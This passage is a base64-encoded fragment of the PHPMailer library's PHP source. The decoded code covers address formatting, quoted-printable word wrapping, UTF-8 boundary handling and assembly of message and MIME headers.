zZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEEgMi1lbGVtZW50IGluZGV4ZWQgYXJyYXksIGVsZW1lbnQgMCBjb250YWluaW5nIGFuIGFkZHJlc3MsIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyAvLyBObyBuYW1lIHByb3ZpZGVkCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICAgICAkYWRkclswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLgogICAgICogRm9yIHVzZSB3aXRoIG1haWxlcnMgdGhhdCBkbyBub3QgYXV0b21hdGljYWxseSBwZXJmb3JtIHdyYXBwaW5nCiAgICAgKiBhbmQgZm9yIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBtZXNzYWdlcy4KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB3cmFwVGV4dCgkbWVzc2FnZSwgJGxlbmd0aCwgJHFwX21vZGUgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoJHFwX21vZGUpIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzcHJpbnRmKCcgPSVzJywgJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICd1dGYtOCcpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbigkdGhpcy0+TEUpOwogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOwoKICAgICAgICAkbWVzc2FnZSA9ICR0aGlzLT5maXhFT0woJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09ICR0aGlzLT5MRSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZSwgMCwgLSRsZWxlbik7CiAgICAgICAgfQoKICAgICAgICAvL1NwbGl0IG1lc3NhZ2UgaW50byBsaW5lcwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzZWxmOjpDUkxGOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIC8qKgogICAgICogRmluZCB0aGUgbGFzdCBjaGFyYWN0ZXIgYm91bmRhcnkgcHJpb3IgdG8gJG1heExlbmd0aCBpbiBhIHV0Zi04CiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBDb2xpbiBCcm93bi4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGYtOCBRUCB0ZXh0CiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbWF4TGVuZ3RoIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKiBAcmV0dXJuIGludGVnZXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBhc3NlbWJsZWQgaGVhZGVycwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlSGVhZGVyKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0RhdGUnLCAkdGhpcy0+TWVzc2FnZURhdGUgPT0gJycgPyBzZWxmOjpyZmNEYXRlKCkgOiAkdGhpcy0+TWVzc2FnZURhdGUpOwoKICAgICAgICAvLyBUbyBiZSBjcmVhdGVkIGF1dG9tYXRpY2FsbHkgYnkgbWFpbCgpCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsKCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQoKICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQmNjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmICgoCiAgICAgICAgICAgICAgICAkdGhpcy0+TWFpbGVyID09ICdzZW5kbWFpbCcgb3IgJHRoaXMtPk1haWxlciA9PSAncW1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ21haWwnCiAgICAgICAgICAgICkKICAgICAgICAgICAgYW5kIGNvdW50KCR0aGlzLT5iY2MpID4gMAogICAgICAgICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdCY2MnLCAkdGhpcy0+YmNjKTsKICAgICAgICB9CgogICAgICAgIGlmIChjb3VudCgkdGhpcy0+UmVwbHlUbykgPiAwKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1JlcGx5LVRvJywgJHRoaXMtPlJlcGx5VG8pOwogICAgICAgIH0KCiAgICAgICAgLy8gbWFpbCgpIHNldHMgdGhlIHN1YmplY3QgaXRzZWxmCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICAgICAgfQoKICAgICAgICAvLyBPbmx5IGFsbG93IGEgY3VzdG9tIG1lc3NhZ2UgSUQgaWYgaXQgY29uZm9ybXMgdG8gUkZDIDUzMjIgc2VjdGlvbiAzLjYuNAogICAgICAgIC8vIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIyI3NlY3Rpb24tMy42LjQKICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgewogICAgICAgICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJwogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiAkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAuICc+Jyk7CiAgICAgICAgfQoKICAgICAgICAvLyBBZGQgY3VzdG9tIGhlYWRlcnMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgKICAgICAgICAgICAgICAgIHRyaW0oJGhlYWRlclswXSksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKHRyaW0oJGhlYWRlclsxXSkpCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywgJzEuMCcpOwogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5nZXRNYWlsTUlNRSgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIG1lc3NhZ2UgTUlNRSB0eXBlIGhlYWRlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldE1haWxNSU1FKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L21peGVkOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHQnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnIC4gJHRoaXMtPkNvbnRlbnRUeXBlIC4gJzsgY2hhcnNldD0nIC4gJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGlzbXVsdGlwYXJ0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgLy8g